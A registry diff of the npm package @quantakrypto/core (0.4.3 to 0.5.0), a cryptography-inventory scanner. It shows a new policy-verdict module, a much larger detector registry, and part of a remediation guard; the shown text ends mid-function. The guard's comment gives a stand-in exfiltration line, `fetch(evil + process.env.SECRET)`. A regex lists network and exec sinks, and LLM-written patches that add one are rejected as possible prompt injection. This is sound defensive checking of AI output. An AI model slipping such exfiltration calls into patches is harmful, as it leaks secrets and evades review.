@quantakrypto/core 0.4.3 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (314) hide show
  1. package/README.md +76 -27
  2. package/dist/cbom-merge.d.ts +9 -0
  3. package/dist/cbom-merge.d.ts.map +1 -0
  4. package/dist/cbom-merge.js +121 -0
  5. package/dist/cbom-merge.js.map +1 -0
  6. package/dist/cbom.d.ts +5 -0
  7. package/dist/cbom.d.ts.map +1 -1
  8. package/dist/cbom.js +132 -37
  9. package/dist/cbom.js.map +1 -1
  10. package/dist/comments.d.ts +6 -26
  11. package/dist/comments.d.ts.map +1 -1
  12. package/dist/comments.js +77 -38
  13. package/dist/comments.js.map +1 -1
  14. package/dist/dependencies.d.ts.map +1 -1
  15. package/dist/dependencies.js +1 -1
  16. package/dist/dependencies.js.map +1 -1
  17. package/dist/detect-utils.d.ts +59 -21
  18. package/dist/detect-utils.d.ts.map +1 -1
  19. package/dist/detect-utils.js +143 -8
  20. package/dist/detect-utils.js.map +1 -1
  21. package/dist/detectors/age.d.ts +16 -0
  22. package/dist/detectors/age.d.ts.map +1 -0
  23. package/dist/detectors/age.js +40 -0
  24. package/dist/detectors/age.js.map +1 -0
  25. package/dist/detectors/ansible.d.ts +13 -0
  26. package/dist/detectors/ansible.d.ts.map +1 -0
  27. package/dist/detectors/ansible.js +108 -0
  28. package/dist/detectors/ansible.js.map +1 -0
  29. package/dist/detectors/bicep.d.ts +20 -0
  30. package/dist/detectors/bicep.d.ts.map +1 -0
  31. package/dist/detectors/bicep.js +74 -0
  32. package/dist/detectors/bicep.js.map +1 -0
  33. package/dist/detectors/c.d.ts +4 -2
  34. package/dist/detectors/c.d.ts.map +1 -1
  35. package/dist/detectors/c.js +222 -4
  36. package/dist/detectors/c.js.map +1 -1
  37. package/dist/detectors/cicd.d.ts +27 -0
  38. package/dist/detectors/cicd.d.ts.map +1 -0
  39. package/dist/detectors/cicd.js +129 -0
  40. package/dist/detectors/cicd.js.map +1 -0
  41. package/dist/detectors/cloud-kms.d.ts +24 -0
  42. package/dist/detectors/cloud-kms.d.ts.map +1 -0
  43. package/dist/detectors/cloud-kms.js +99 -0
  44. package/dist/detectors/cloud-kms.js.map +1 -0
  45. package/dist/detectors/cloudformation.d.ts +38 -0
  46. package/dist/detectors/cloudformation.d.ts.map +1 -0
  47. package/dist/detectors/cloudformation.js +201 -0
  48. package/dist/detectors/cloudformation.js.map +1 -0
  49. package/dist/detectors/codesign.d.ts +50 -0
  50. package/dist/detectors/codesign.d.ts.map +1 -0
  51. package/dist/detectors/codesign.js +143 -0
  52. package/dist/detectors/codesign.js.map +1 -0
  53. package/dist/detectors/csharp.d.ts.map +1 -1
  54. package/dist/detectors/csharp.js +13 -3
  55. package/dist/detectors/csharp.js.map +1 -1
  56. package/dist/detectors/dart.d.ts +35 -0
  57. package/dist/detectors/dart.d.ts.map +1 -0
  58. package/dist/detectors/dart.js +177 -0
  59. package/dist/detectors/dart.js.map +1 -0
  60. package/dist/detectors/database.d.ts +19 -0
  61. package/dist/detectors/database.d.ts.map +1 -0
  62. package/dist/detectors/database.js +97 -0
  63. package/dist/detectors/database.js.map +1 -0
  64. package/dist/detectors/dkim.d.ts +54 -0
  65. package/dist/detectors/dkim.d.ts.map +1 -0
  66. package/dist/detectors/dkim.js +92 -0
  67. package/dist/detectors/dkim.js.map +1 -0
  68. package/dist/detectors/dnssec.d.ts +55 -0
  69. package/dist/detectors/dnssec.d.ts.map +1 -0
  70. package/dist/detectors/dnssec.js +116 -0
  71. package/dist/detectors/dnssec.js.map +1 -0
  72. package/dist/detectors/elixir.d.ts +20 -0
  73. package/dist/detectors/elixir.d.ts.map +1 -0
  74. package/dist/detectors/elixir.js +227 -0
  75. package/dist/detectors/elixir.js.map +1 -0
  76. package/dist/detectors/java.d.ts.map +1 -1
  77. package/dist/detectors/java.js +34 -4
  78. package/dist/detectors/java.js.map +1 -1
  79. package/dist/detectors/jose.d.ts +20 -0
  80. package/dist/detectors/jose.d.ts.map +1 -0
  81. package/dist/detectors/jose.js +72 -0
  82. package/dist/detectors/jose.js.map +1 -0
  83. package/dist/detectors/jwk.d.ts +25 -0
  84. package/dist/detectors/jwk.d.ts.map +1 -0
  85. package/dist/detectors/jwk.js +131 -0
  86. package/dist/detectors/jwk.js.map +1 -0
  87. package/dist/detectors/k8s.d.ts +17 -0
  88. package/dist/detectors/k8s.d.ts.map +1 -0
  89. package/dist/detectors/k8s.js +88 -0
  90. package/dist/detectors/k8s.js.map +1 -0
  91. package/dist/detectors/keystore.d.ts +19 -0
  92. package/dist/detectors/keystore.d.ts.map +1 -0
  93. package/dist/detectors/keystore.js +76 -0
  94. package/dist/detectors/keystore.js.map +1 -0
  95. package/dist/detectors/mesh.d.ts +34 -0
  96. package/dist/detectors/mesh.d.ts.map +1 -0
  97. package/dist/detectors/mesh.js +91 -0
  98. package/dist/detectors/mesh.js.map +1 -0
  99. package/dist/detectors/messaging.d.ts +16 -0
  100. package/dist/detectors/messaging.d.ts.map +1 -0
  101. package/dist/detectors/messaging.js +79 -0
  102. package/dist/detectors/messaging.js.map +1 -0
  103. package/dist/detectors/objc.d.ts +41 -0
  104. package/dist/detectors/objc.d.ts.map +1 -0
  105. package/dist/detectors/objc.js +146 -0
  106. package/dist/detectors/objc.js.map +1 -0
  107. package/dist/detectors/openpgp.d.ts +20 -0
  108. package/dist/detectors/openpgp.d.ts.map +1 -0
  109. package/dist/detectors/openpgp.js +151 -0
  110. package/dist/detectors/openpgp.js.map +1 -0
  111. package/dist/detectors/pem.d.ts.map +1 -1
  112. package/dist/detectors/pem.js +33 -1
  113. package/dist/detectors/pem.js.map +1 -1
  114. package/dist/detectors/php.d.ts +25 -0
  115. package/dist/detectors/php.d.ts.map +1 -0
  116. package/dist/detectors/php.js +171 -0
  117. package/dist/detectors/php.js.map +1 -0
  118. package/dist/detectors/pkcs11.d.ts +17 -0
  119. package/dist/detectors/pkcs11.d.ts.map +1 -0
  120. package/dist/detectors/pkcs11.js +87 -0
  121. package/dist/detectors/pkcs11.js.map +1 -0
  122. package/dist/detectors/proxy.d.ts +52 -0
  123. package/dist/detectors/proxy.d.ts.map +1 -0
  124. package/dist/detectors/proxy.js +157 -0
  125. package/dist/detectors/proxy.js.map +1 -0
  126. package/dist/detectors/pulumi.d.ts +19 -0
  127. package/dist/detectors/pulumi.d.ts.map +1 -0
  128. package/dist/detectors/pulumi.js +80 -0
  129. package/dist/detectors/pulumi.js.map +1 -0
  130. package/dist/detectors/python.d.ts.map +1 -1
  131. package/dist/detectors/python.js +70 -0
  132. package/dist/detectors/python.js.map +1 -1
  133. package/dist/detectors/rust.d.ts.map +1 -1
  134. package/dist/detectors/rust.js +73 -0
  135. package/dist/detectors/rust.js.map +1 -1
  136. package/dist/detectors/secrets.d.ts +24 -0
  137. package/dist/detectors/secrets.d.ts.map +1 -0
  138. package/dist/detectors/secrets.js +63 -0
  139. package/dist/detectors/secrets.js.map +1 -0
  140. package/dist/detectors/solidity.d.ts +50 -0
  141. package/dist/detectors/solidity.d.ts.map +1 -0
  142. package/dist/detectors/solidity.js +108 -0
  143. package/dist/detectors/solidity.js.map +1 -0
  144. package/dist/detectors/source.d.ts.map +1 -1
  145. package/dist/detectors/source.js +243 -53
  146. package/dist/detectors/source.js.map +1 -1
  147. package/dist/detectors/spire.d.ts +49 -0
  148. package/dist/detectors/spire.d.ts.map +1 -0
  149. package/dist/detectors/spire.js +77 -0
  150. package/dist/detectors/spire.js.map +1 -0
  151. package/dist/detectors/ssh-ca.d.ts +72 -0
  152. package/dist/detectors/ssh-ca.d.ts.map +1 -0
  153. package/dist/detectors/ssh-ca.js +119 -0
  154. package/dist/detectors/ssh-ca.js.map +1 -0
  155. package/dist/detectors/stateful-hbs.d.ts.map +1 -1
  156. package/dist/detectors/stateful-hbs.js +9 -6
  157. package/dist/detectors/stateful-hbs.js.map +1 -1
  158. package/dist/detectors/supply-chain.d.ts +17 -0
  159. package/dist/detectors/supply-chain.d.ts.map +1 -0
  160. package/dist/detectors/supply-chain.js +89 -0
  161. package/dist/detectors/supply-chain.js.map +1 -0
  162. package/dist/detectors/swift.d.ts +22 -0
  163. package/dist/detectors/swift.d.ts.map +1 -0
  164. package/dist/detectors/swift.js +120 -0
  165. package/dist/detectors/swift.js.map +1 -0
  166. package/dist/detectors/terraform.d.ts +21 -0
  167. package/dist/detectors/terraform.d.ts.map +1 -0
  168. package/dist/detectors/terraform.js +150 -0
  169. package/dist/detectors/terraform.js.map +1 -0
  170. package/dist/detectors/vault.d.ts +15 -0
  171. package/dist/detectors/vault.d.ts.map +1 -0
  172. package/dist/detectors/vault.js +97 -0
  173. package/dist/detectors/vault.js.map +1 -0
  174. package/dist/detectors/vpn.d.ts +22 -0
  175. package/dist/detectors/vpn.d.ts.map +1 -0
  176. package/dist/detectors/vpn.js +73 -0
  177. package/dist/detectors/vpn.js.map +1 -0
  178. package/dist/detectors/weak-hash.d.ts +71 -0
  179. package/dist/detectors/weak-hash.d.ts.map +1 -0
  180. package/dist/detectors/weak-hash.js +116 -0
  181. package/dist/detectors/weak-hash.js.map +1 -0
  182. package/dist/detectors/webauthn.d.ts +61 -0
  183. package/dist/detectors/webauthn.d.ts.map +1 -0
  184. package/dist/detectors/webauthn.js +109 -0
  185. package/dist/detectors/webauthn.js.map +1 -0
  186. package/dist/detectors/xmldsig.d.ts +23 -0
  187. package/dist/detectors/xmldsig.d.ts.map +1 -0
  188. package/dist/detectors/xmldsig.js +84 -0
  189. package/dist/detectors/xmldsig.js.map +1 -0
  190. package/dist/evidence.d.ts +79 -4
  191. package/dist/evidence.d.ts.map +1 -1
  192. package/dist/evidence.js +76 -0
  193. package/dist/evidence.js.map +1 -1
  194. package/dist/index.d.ts +17 -9
  195. package/dist/index.d.ts.map +1 -1
  196. package/dist/index.js +21 -9
  197. package/dist/index.js.map +1 -1
  198. package/dist/inventory.d.ts +0 -2
  199. package/dist/inventory.d.ts.map +1 -1
  200. package/dist/inventory.js +15 -6
  201. package/dist/inventory.js.map +1 -1
  202. package/dist/policy.d.ts +67 -0
  203. package/dist/policy.d.ts.map +1 -0
  204. package/dist/policy.js +115 -0
  205. package/dist/policy.js.map +1 -0
  206. package/dist/registry.d.ts +9 -4
  207. package/dist/registry.d.ts.map +1 -1
  208. package/dist/registry.js +81 -4
  209. package/dist/registry.js.map +1 -1
  210. package/dist/remediate-pipeline.d.ts +0 -3
  211. package/dist/remediate-pipeline.d.ts.map +1 -1
  212. package/dist/remediate-pipeline.js +23 -2
  213. package/dist/remediate-pipeline.js.map +1 -1
  214. package/dist/remediation.d.ts +10 -0
  215. package/dist/remediation.d.ts.map +1 -1
  216. package/dist/remediation.js +32 -0
  217. package/dist/remediation.js.map +1 -1
  218. package/dist/report.d.ts +9 -0
  219. package/dist/report.d.ts.map +1 -1
  220. package/dist/report.js +38 -1
  221. package/dist/report.js.map +1 -1
  222. package/dist/scan-worker.js +5 -3
  223. package/dist/scan-worker.js.map +1 -1
  224. package/dist/scan.d.ts.map +1 -1
  225. package/dist/scan.js +35 -6
  226. package/dist/scan.js.map +1 -1
  227. package/dist/standards-profiles.d.ts +58 -0
  228. package/dist/standards-profiles.d.ts.map +1 -0
  229. package/dist/standards-profiles.js +100 -0
  230. package/dist/standards-profiles.js.map +1 -0
  231. package/dist/standards.d.ts +96 -0
  232. package/dist/standards.d.ts.map +1 -0
  233. package/dist/standards.js +107 -0
  234. package/dist/standards.js.map +1 -0
  235. package/dist/types.d.ts +6 -5
  236. package/dist/types.d.ts.map +1 -1
  237. package/dist/types.js.map +1 -1
  238. package/dist/version.d.ts +1 -1
  239. package/dist/version.js +1 -1
  240. package/dist/version.js.map +1 -1
  241. package/dist/vex.d.ts +39 -0
  242. package/dist/vex.d.ts.map +1 -0
  243. package/dist/vex.js +87 -0
  244. package/dist/vex.js.map +1 -0
  245. package/dist/walk.d.ts +8 -3
  246. package/dist/walk.d.ts.map +1 -1
  247. package/dist/walk.js +32 -1
  248. package/dist/walk.js.map +1 -1
  249. package/package.json +1 -1
  250. package/src/cbom-merge.ts +146 -0
  251. package/src/cbom.ts +153 -39
  252. package/src/comments.ts +84 -39
  253. package/src/dependencies.ts +2 -1
  254. package/src/detect-utils.ts +146 -12
  255. package/src/detectors/age.ts +60 -0
  256. package/src/detectors/ansible.ts +140 -0
  257. package/src/detectors/bicep.ts +107 -0
  258. package/src/detectors/c.ts +240 -6
  259. package/src/detectors/cicd.ts +171 -0
  260. package/src/detectors/cloud-kms.ts +141 -0
  261. package/src/detectors/cloudformation.ts +250 -0
  262. package/src/detectors/codesign.ts +214 -0
  263. package/src/detectors/csharp.ts +13 -3
  264. package/src/detectors/dart.ts +237 -0
  265. package/src/detectors/database.ts +141 -0
  266. package/src/detectors/dkim.ts +172 -0
  267. package/src/detectors/dnssec.ts +195 -0
  268. package/src/detectors/elixir.ts +268 -0
  269. package/src/detectors/java.ts +39 -4
  270. package/src/detectors/jose.ts +110 -0
  271. package/src/detectors/jwk.ts +170 -0
  272. package/src/detectors/k8s.ts +115 -0
  273. package/src/detectors/keystore.ts +109 -0
  274. package/src/detectors/mesh.ts +130 -0
  275. package/src/detectors/messaging.ts +106 -0
  276. package/src/detectors/objc.ts +209 -0
  277. package/src/detectors/openpgp.ts +194 -0
  278. package/src/detectors/pem.ts +31 -1
  279. package/src/detectors/php.ts +230 -0
  280. package/src/detectors/pkcs11.ts +113 -0
  281. package/src/detectors/proxy.ts +236 -0
  282. package/src/detectors/pulumi.ts +106 -0
  283. package/src/detectors/python.ts +71 -0
  284. package/src/detectors/rust.ts +76 -0
  285. package/src/detectors/secrets.ts +103 -0
  286. package/src/detectors/solidity.ts +176 -0
  287. package/src/detectors/source.ts +283 -73
  288. package/src/detectors/spire.ts +143 -0
  289. package/src/detectors/ssh-ca.ts +215 -0
  290. package/src/detectors/stateful-hbs.ts +9 -6
  291. package/src/detectors/supply-chain.ts +117 -0
  292. package/src/detectors/swift.ts +149 -0
  293. package/src/detectors/terraform.ts +188 -0
  294. package/src/detectors/vault.ts +120 -0
  295. package/src/detectors/vpn.ts +103 -0
  296. package/src/detectors/weak-hash.ts +217 -0
  297. package/src/detectors/webauthn.ts +205 -0
  298. package/src/detectors/xmldsig.ts +115 -0
  299. package/src/evidence.ts +138 -4
  300. package/src/index.ts +50 -12
  301. package/src/inventory.ts +15 -7
  302. package/src/policy.ts +180 -0
  303. package/src/registry.ts +81 -4
  304. package/src/remediate-pipeline.ts +26 -3
  305. package/src/remediation.ts +39 -0
  306. package/src/report.ts +43 -1
  307. package/src/scan-worker.ts +5 -3
  308. package/src/scan.ts +41 -6
  309. package/src/standards-profiles.ts +136 -0
  310. package/src/standards.ts +186 -0
  311. package/src/types.ts +11 -4
  312. package/src/version.ts +1 -1
  313. package/src/vex.ts +122 -0
  314. package/src/walk.ts +33 -2
package/src/policy.ts ADDED
@@ -0,0 +1,180 @@
1
+ /**
2
+ * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
3
+ * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
4
+ *
5
+ * An organization supplies a policy listing which classical algorithm families it
6
+ * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
7
+ * flags each qScan finding as `conformant` / `violation` / `transition-pending`
8
+ * against that policy — turning the neutral inventory into audit-ready evidence
9
+ * that the org *assesses* its cryptography against a defined policy.
10
+ *
11
+ * Honesty boundary: without a policy the report stays neutral inventory and the
12
+ * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
13
+ * list: a classical family not named anywhere defaults to a violation (unmanaged
14
+ * crypto is a policy gap), overridable via `defaultVerdict`.
15
+ */
16
+ import type { AlgorithmFamily, Finding } from "./types.js";
17
+
18
+ /** The three verdicts a finding can carry against a policy. */
19
+ export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
20
+
21
+ /** The complete set of algorithm families a policy may reference. */
22
+ const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
23
+ "RSA",
24
+ "ECDH",
25
+ "ECDSA",
26
+ "EdDSA",
27
+ "DH",
28
+ "DSA",
29
+ "X25519",
30
+ "X448",
31
+ "ECIES",
32
+ "unknown",
33
+ ];
34
+
35
+ /** An organization-supplied cryptography policy (from a JSON file). */
36
+ export interface CryptoPolicy {
37
+ /** Human name / version of the policy, recorded in the evidence report. */
38
+ name?: string;
39
+ /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
40
+ permitted?: AlgorithmFamily[];
41
+ /** Families the org prohibits outright → violation. */
42
+ prohibited?: AlgorithmFamily[];
43
+ /** Families being actively migrated, allowed within the window → transition-pending. */
44
+ inTransition?: AlgorithmFamily[];
45
+ /** Optional migration deadline (ISO date / year), recorded for context. */
46
+ transitionDeadline?: string;
47
+ /** Verdict for a family named in none of the lists. Default: `"violation"`. */
48
+ defaultVerdict?: PolicyVerdict;
49
+ }
50
+
51
+ /** One finding's verdict against the policy. */
52
+ export interface PolicyFindingVerdict {
53
+ ruleId: string;
54
+ algorithm: AlgorithmFamily | "unknown";
55
+ file: string;
56
+ line: number;
57
+ verdict: PolicyVerdict;
58
+ reason: string;
59
+ }
60
+
61
+ /** The `policyMapping` block added to the evidence report. */
62
+ export interface PolicyMapping {
63
+ policyName: string | null;
64
+ transitionDeadline: string | null;
65
+ summary: Record<PolicyVerdict, number>;
66
+ findings: PolicyFindingVerdict[];
67
+ }
68
+
69
+ /** Resolve one algorithm family's verdict + a human reason against a policy. */
70
+ export function verdictForAlgorithm(
71
+ algorithm: AlgorithmFamily | undefined,
72
+ policy: CryptoPolicy,
73
+ ): { verdict: PolicyVerdict; reason: string } {
74
+ const algo = algorithm ?? "unknown";
75
+ if (policy.prohibited?.includes(algo)) {
76
+ return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
77
+ }
78
+ if (policy.inTransition?.includes(algo)) {
79
+ return {
80
+ verdict: "transition-pending",
81
+ reason: `${algo} is being migrated (in the policy's transition set).`,
82
+ };
83
+ }
84
+ if (policy.permitted?.includes(algo)) {
85
+ return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
86
+ }
87
+ const fallback = policy.defaultVerdict ?? "violation";
88
+ return {
89
+ verdict: fallback,
90
+ reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
91
+ };
92
+ }
93
+
94
+ /**
95
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
96
+ * the same findings + policy always yield the same mapping (safe to hash in the
97
+ * A.8.24 evidence attestation).
98
+ */
99
+ export function buildPolicyMapping(
100
+ findings: readonly Finding[],
101
+ policy: CryptoPolicy,
102
+ ): PolicyMapping {
103
+ const summary: Record<PolicyVerdict, number> = {
104
+ conformant: 0,
105
+ violation: 0,
106
+ "transition-pending": 0,
107
+ };
108
+ const mapped: PolicyFindingVerdict[] = findings.map((f) => {
109
+ const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
110
+ summary[verdict]++;
111
+ return {
112
+ ruleId: f.ruleId,
113
+ algorithm: f.algorithm ?? "unknown",
114
+ file: f.location.file,
115
+ line: f.location.line,
116
+ verdict,
117
+ reason,
118
+ };
119
+ });
120
+ return {
121
+ policyName: policy.name ?? null,
122
+ transitionDeadline: policy.transitionDeadline ?? null,
123
+ summary,
124
+ findings: mapped,
125
+ };
126
+ }
127
+
128
+ /**
129
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
130
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
131
+ * file must fail loudly, never silently degrade the evidence verdict.
132
+ */
133
+ export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
134
+ if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
135
+ throw new TypeError("crypto policy must be a JSON object");
136
+ }
137
+ const obj = raw as Record<string, unknown>;
138
+ const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
139
+ const list = (key: string): AlgorithmFamily[] | undefined => {
140
+ const v = obj[key];
141
+ if (v === undefined) return undefined;
142
+ if (!Array.isArray(v))
143
+ throw new TypeError(`policy "${key}" must be an array of algorithm families`);
144
+ for (const item of v) {
145
+ if (typeof item !== "string" || !validFamilies.has(item)) {
146
+ throw new TypeError(
147
+ `policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
148
+ );
149
+ }
150
+ }
151
+ return v as AlgorithmFamily[];
152
+ };
153
+ const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
154
+ let defaultVerdict: PolicyVerdict | undefined;
155
+ if (obj.defaultVerdict !== undefined) {
156
+ if (
157
+ typeof obj.defaultVerdict !== "string" ||
158
+ !verdicts.has(obj.defaultVerdict as PolicyVerdict)
159
+ ) {
160
+ throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
161
+ }
162
+ defaultVerdict = obj.defaultVerdict as PolicyVerdict;
163
+ }
164
+ if (obj.name !== undefined && typeof obj.name !== "string") {
165
+ throw new TypeError('policy "name" must be a string');
166
+ }
167
+ if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
168
+ throw new TypeError('policy "transitionDeadline" must be a string');
169
+ }
170
+ return {
171
+ ...(obj.name !== undefined ? { name: obj.name as string } : {}),
172
+ ...(list("permitted") ? { permitted: list("permitted") } : {}),
173
+ ...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
174
+ ...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
175
+ ...(obj.transitionDeadline !== undefined
176
+ ? { transitionDeadline: obj.transitionDeadline as string }
177
+ : {}),
178
+ ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
179
+ };
180
+ }
package/src/registry.ts CHANGED
@@ -18,8 +18,44 @@ import { javaDetector } from "./detectors/java.js";
18
18
  import { csharpDetector } from "./detectors/csharp.js";
19
19
  import { rustDetector } from "./detectors/rust.js";
20
20
  import { rubyDetector } from "./detectors/ruby.js";
21
+ import { phpDetector } from "./detectors/php.js";
22
+ import { elixirDetector } from "./detectors/elixir.js";
21
23
  import { cDetector } from "./detectors/c.js";
24
+ import { swiftDetector } from "./detectors/swift.js";
25
+ import { objcDetector } from "./detectors/objc.js";
26
+ import { dartDetector } from "./detectors/dart.js";
27
+ import { solidityDetector } from "./detectors/solidity.js";
22
28
  import { pemDetector } from "./detectors/pem.js";
29
+ import { jwkDetector } from "./detectors/jwk.js";
30
+ import { terraformDetector } from "./detectors/terraform.js";
31
+ import { cloudKmsDetector } from "./detectors/cloud-kms.js";
32
+ import { cicdDetector } from "./detectors/cicd.js";
33
+ import { secretsDetector } from "./detectors/secrets.js";
34
+ import { joseDetector } from "./detectors/jose.js";
35
+ import { k8sDetector } from "./detectors/k8s.js";
36
+ import { messagingDetector } from "./detectors/messaging.js";
37
+ import { databaseDetector } from "./detectors/database.js";
38
+ import { xmldsigDetector } from "./detectors/xmldsig.js";
39
+ import { pkcs11Detector } from "./detectors/pkcs11.js";
40
+ import { dkimDetector } from "./detectors/dkim.js";
41
+ import { sshCaDetector } from "./detectors/ssh-ca.js";
42
+ import { spireDetector } from "./detectors/spire.js";
43
+ import { proxyDetector } from "./detectors/proxy.js";
44
+ import { webauthnDetector } from "./detectors/webauthn.js";
45
+ import { codesignDetector } from "./detectors/codesign.js";
46
+ import { weakHashDetector } from "./detectors/weak-hash.js";
47
+ import { cloudformationDetector } from "./detectors/cloudformation.js";
48
+ import { bicepDetector } from "./detectors/bicep.js";
49
+ import { pulumiDetector } from "./detectors/pulumi.js";
50
+ import { meshDetector } from "./detectors/mesh.js";
51
+ import { dnssecDetector } from "./detectors/dnssec.js";
52
+ import { vpnDetector } from "./detectors/vpn.js";
53
+ import { ansibleDetector } from "./detectors/ansible.js";
54
+ import { ageDetector } from "./detectors/age.js";
55
+ import { supplyChainDetector } from "./detectors/supply-chain.js";
56
+ import { vaultDetector } from "./detectors/vault.js";
57
+ import { keystoreDetector } from "./detectors/keystore.js";
58
+ import { openpgpDetector } from "./detectors/openpgp.js";
23
59
  import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
24
60
 
25
61
  /** Normalised scope of a detector (defaults to "source" when undeclared). */
@@ -110,10 +146,15 @@ export class DetectorRegistry {
110
146
  }
111
147
 
112
148
  /**
113
- * The built-in detectors, in run order: the JS/TS source + config detectors,
114
- * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
115
- * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
116
- * manifest (dependency) scanner is handled separately by `scan()`.
149
+ * The built-in detectors, in run order: the JS/TS source + language-agnostic config
150
+ * detectors, the per-language source packs (Python, Go, Java/Kotlin/Scala, C#, Rust,
151
+ * Ruby, PHP, Elixir, C/C++, Swift, Objective-C, Dart, Solidity/Move/Cairo), the
152
+ * infrastructure/config detectors (Terraform, Bicep, Pulumi, CloudFormation, cloud-KMS,
153
+ * k8s, mesh, DNSSEC, Vault, database/TDE, messaging, VPN, Ansible, supply-chain, CI/CD,
154
+ * secrets, age, keystore, OpenPGP, JWK, XML-DSig/SAML, PKCS#11/HSM, DKIM, SSH-CA,
155
+ * SPIFFE/SPIRE, reverse-proxy/gRPC TLS, WebAuthn/FIDO2, code-signing, weak-hash-in-
156
+ * signature), and the stateful-HBS (SP 800-208) detector. The manifest (dependency)
157
+ * scanner is handled separately by `scan()`.
117
158
  *
118
159
  * This is the single source of truth for the default detector set: both
119
160
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -127,8 +168,44 @@ export const builtinDetectors: Detector[] = [
127
168
  csharpDetector,
128
169
  rustDetector,
129
170
  rubyDetector,
171
+ phpDetector,
172
+ elixirDetector,
130
173
  cDetector,
174
+ swiftDetector,
175
+ objcDetector,
176
+ dartDetector,
177
+ solidityDetector,
131
178
  pemDetector,
179
+ jwkDetector,
180
+ terraformDetector,
181
+ cloudKmsDetector,
182
+ cicdDetector,
183
+ secretsDetector,
184
+ joseDetector,
185
+ k8sDetector,
186
+ messagingDetector,
187
+ databaseDetector,
188
+ xmldsigDetector,
189
+ pkcs11Detector,
190
+ dkimDetector,
191
+ sshCaDetector,
192
+ spireDetector,
193
+ proxyDetector,
194
+ webauthnDetector,
195
+ codesignDetector,
196
+ weakHashDetector,
197
+ cloudformationDetector,
198
+ bicepDetector,
199
+ pulumiDetector,
200
+ meshDetector,
201
+ dnssecDetector,
202
+ vpnDetector,
203
+ ansibleDetector,
204
+ ageDetector,
205
+ supplyChainDetector,
206
+ vaultDetector,
207
+ keystoreDetector,
208
+ openpgpDetector,
132
209
  statefulHbsDetector,
133
210
  ];
134
211
 
@@ -52,12 +52,24 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
52
52
  * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
53
53
  * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
54
54
  */
55
- const NEW_SINK_RE =
56
- /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
55
+ // Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
56
+ // (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
57
+ // require()/import() call forms AND static `import … from "…"` — the static
58
+ // form has no parens so the old dynamic-only pattern missed it entirely.
59
+ const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
60
+ const NEW_SINK_RE = new RegExp(
61
+ "\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
62
+ `|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
63
+ `|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
64
+ `|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
65
+ "g",
66
+ );
67
+ /** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
68
+ const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
57
69
 
58
70
  /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
59
71
  * is localized; a sprawling rewrite is not reviewable as "just the fix". */
60
- export const LLM_PATCH_MAX_CHANGED_LINES = 60;
72
+ const LLM_PATCH_MAX_CHANGED_LINES = 60;
61
73
 
62
74
  function countMatches(re: RegExp, s: string): number {
63
75
  return (s.match(re) ?? []).length;
@@ -81,6 +93,17 @@ function changedLineCount(before: string, after: string): number {
81
93
 
82
94
  /** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
83
95
  function llmPatchRisk(before: string, patch: Patch): string | null {
96
+ // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
97
+ // count: it catches a sink SWAPPED into a file that already had one, and does
98
+ // not depend on the total count rising (trimmed line-set membership).
99
+ const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
100
+ const addsSink = patch.newContent
101
+ .split("\n")
102
+ .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
103
+ if (addsSink) {
104
+ return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
105
+ }
106
+ // Backstop: the total sink count must not rise either.
84
107
